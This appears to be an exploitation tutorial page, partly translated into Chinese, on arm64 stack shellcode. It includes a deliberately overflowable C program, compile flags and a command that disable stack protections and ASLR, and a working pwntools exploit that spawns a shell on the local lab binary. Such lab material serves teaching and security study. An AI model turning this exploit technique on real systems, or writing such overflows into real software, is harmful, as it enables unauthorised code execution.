# Stack Shellcode - arm64

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有关 arm64 的介绍请参见：

{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}

## Linux

### 代码
```c
#include <stdio.h>
#include <unistd.h>

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}
```
在没有 pie、canary 和 nx 的情况下编译：
```bash
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
```
### No ASLR & No canary - Stack Overflow

要停止 ASLR，请执行：
```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
要获取 [**offset of the bof check this link**](../ret2win/ret2win-arm64.md#finding-the-offset)。

Exploit:
```python
from pwn import *

# Load the binary
binary_name = './bof'
elf = context.binary = ELF(binary_name)

# Generate shellcode
shellcode = asm(shellcraft.sh())

# Start the process
p = process(binary_name)

# Offset to return address
offset = 72

# Address in the stack after the return address
ret_address = p64(0xfffffffff1a0)

# Craft the payload
payload = b'A' * offset + ret_address + shellcode

print("Payload length: "+ str(len(payload)))

# Send the payload
p.send(payload)

# Drop to an interactive session
p.interactive()
```
The only "complicated" thing to find here would be the address in the stack to call. In my case I generated the exploit with the address found using gdb, but then when exploiting it it didn't work (because the stack address changed a bit).

我打开了生成的 **`core` 文件** (`gdb ./bog ./core`)，并检查了 shellcode 起始位置的真实地址。


## macOS

> [!TIP]
> 在 macOS 上无法禁用 NX，因为在 arm64 上这一模式由硬件级别实现，所以你不能禁用它，因此你不会在 macOS 中找到在 stack 上有 shellcode 的示例。

Check a macOS ret2win example in:

{{#ref}}
../ret2win/ret2win-arm64.md
{{#endref}}


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